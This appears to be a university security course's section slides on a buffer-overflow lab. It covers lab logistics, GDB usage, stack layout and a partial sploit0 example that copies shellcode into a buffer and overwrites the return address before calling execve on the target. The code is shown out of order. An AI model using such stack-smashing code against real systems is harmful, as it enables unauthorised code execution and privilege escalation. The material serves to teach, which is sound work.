#### CSE 484 / CSE M 584

## Computer Security Section Week 2: Buffer Overflows

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Thanks to Franzi Roesner, Adrian Sham, and other contributors from previous quarters

## General Lab 1 Guidance

- You can work in groups of up to 3.
- Group formation area in forum
- Make sure you have finalized your group when you send us your public key!
- Talk to us if you have trouble connecting to the server.
- The referenced readings really help.

# Quick tip on ssh keys

- Mac/Linux
  - -ssh-keygen -t rsa -f mykey
    - Give **us** the mykey.pub file
    - You keep mykey
  - -ssh -i mykey username@server
- Windows
  - Use puttygen

## General Lab 1 Guidance

- 7 targets located in **/bin/**
- 7 stub sploit files located in ~/sploits/
  - Make sure your final sploits are built here!
  - As with all data, consider backing up elsewhere 🙂
- Source code for targets in **~/sources**
- Goal: Cause targets (which run as a special user) to execute shellcode to get a different user's shell.
- Make sure each sploit references the correct target!

## General Lab 1 Guidance

- We provide the shellcode.
  - Some of "Smashing the Stack for Fun and Profit" describes how it was generated. You don't need to do this part. Just write it into buffer.
- You need to hard-code addresses into your solutions. (Don't use get\_sp().)
- NOP sleds are needed when you don't know exact address of your buffer. You'll know the exact address in this lab.
- Copying will stop at a null byte (00) in the buffer.

## Lab 1 Deadlines

#### **START EARLY!**

Some of the exploits are complex.

Checkpoint deadline (Sploits 1-3): October 14<sup>th</sup>, 5pm

Final deadline (Sploits 4-7): October 31<sup>th</sup>, 5pm

# Memory layout

#### Loading

## When the OS loads a program, it:

- creates an address space
- inspects the executable file to see what's in it
- (lazily) copies regions of the file into the right place in the address space
- does any final linking, relocation, or other needed preparation



https://courses.cs.washington.edu/courses/cse333/15su/lectures/lec02.pdf

## Stack Frame Structure



## Target0



# Sploit0

- Construct buffer that:
  - Contains shellcode.
  - Exceeds expected size (320).
  - Overwrites return address on stack with address of shellcode.

• Demo

# GDB is your friend

• To execute sploitX and use symbols of targetX:

Run this command from your home dir: cgdb -- -d sources -s /bin/targetX sploits/sploitX

- Then, to set breakpoint in targetX's main():
  - catch exec
  - run
  - break main continue
- Break when exec'd into a new process
  - Start program
- When breaks: Set desired breakpoint
  - Continue running (will break at main())

# Other Useful GDB Commands

- step : execute next source code line
- next : step over function
- stepi : execute next assembly instruction
- list: display source code
- disassemble : disassemble specified function
- x : inspect memory
  - e.g., 20 words at address: x/20wx 0xbfffcd4
- info register: inspect current register values
- info frame : info about current stack frame
- p : inspect variable
  - e.g., p &buf or p buf
- ctrl-x + ctrl-a: Toggle split screen for gdb

# Sploit0

```
memcpy(buf, shellcode, sizeof(shellcode) - 1); // at beginning of buffer
// overwrite return address (at buf+324)
// with address of shellcode (start of buffer)
*(unsigned int *)(buf + 324) = 0xffffdea1;
```

```
args[0] = TARGET; args[1] = buf; args[2] = NULL;
env[0] = NULL;
```

```
if (0 > execve(TARGET, args, env))
    perror("execve failed");
```

```
return 0;
```

int main(void)

{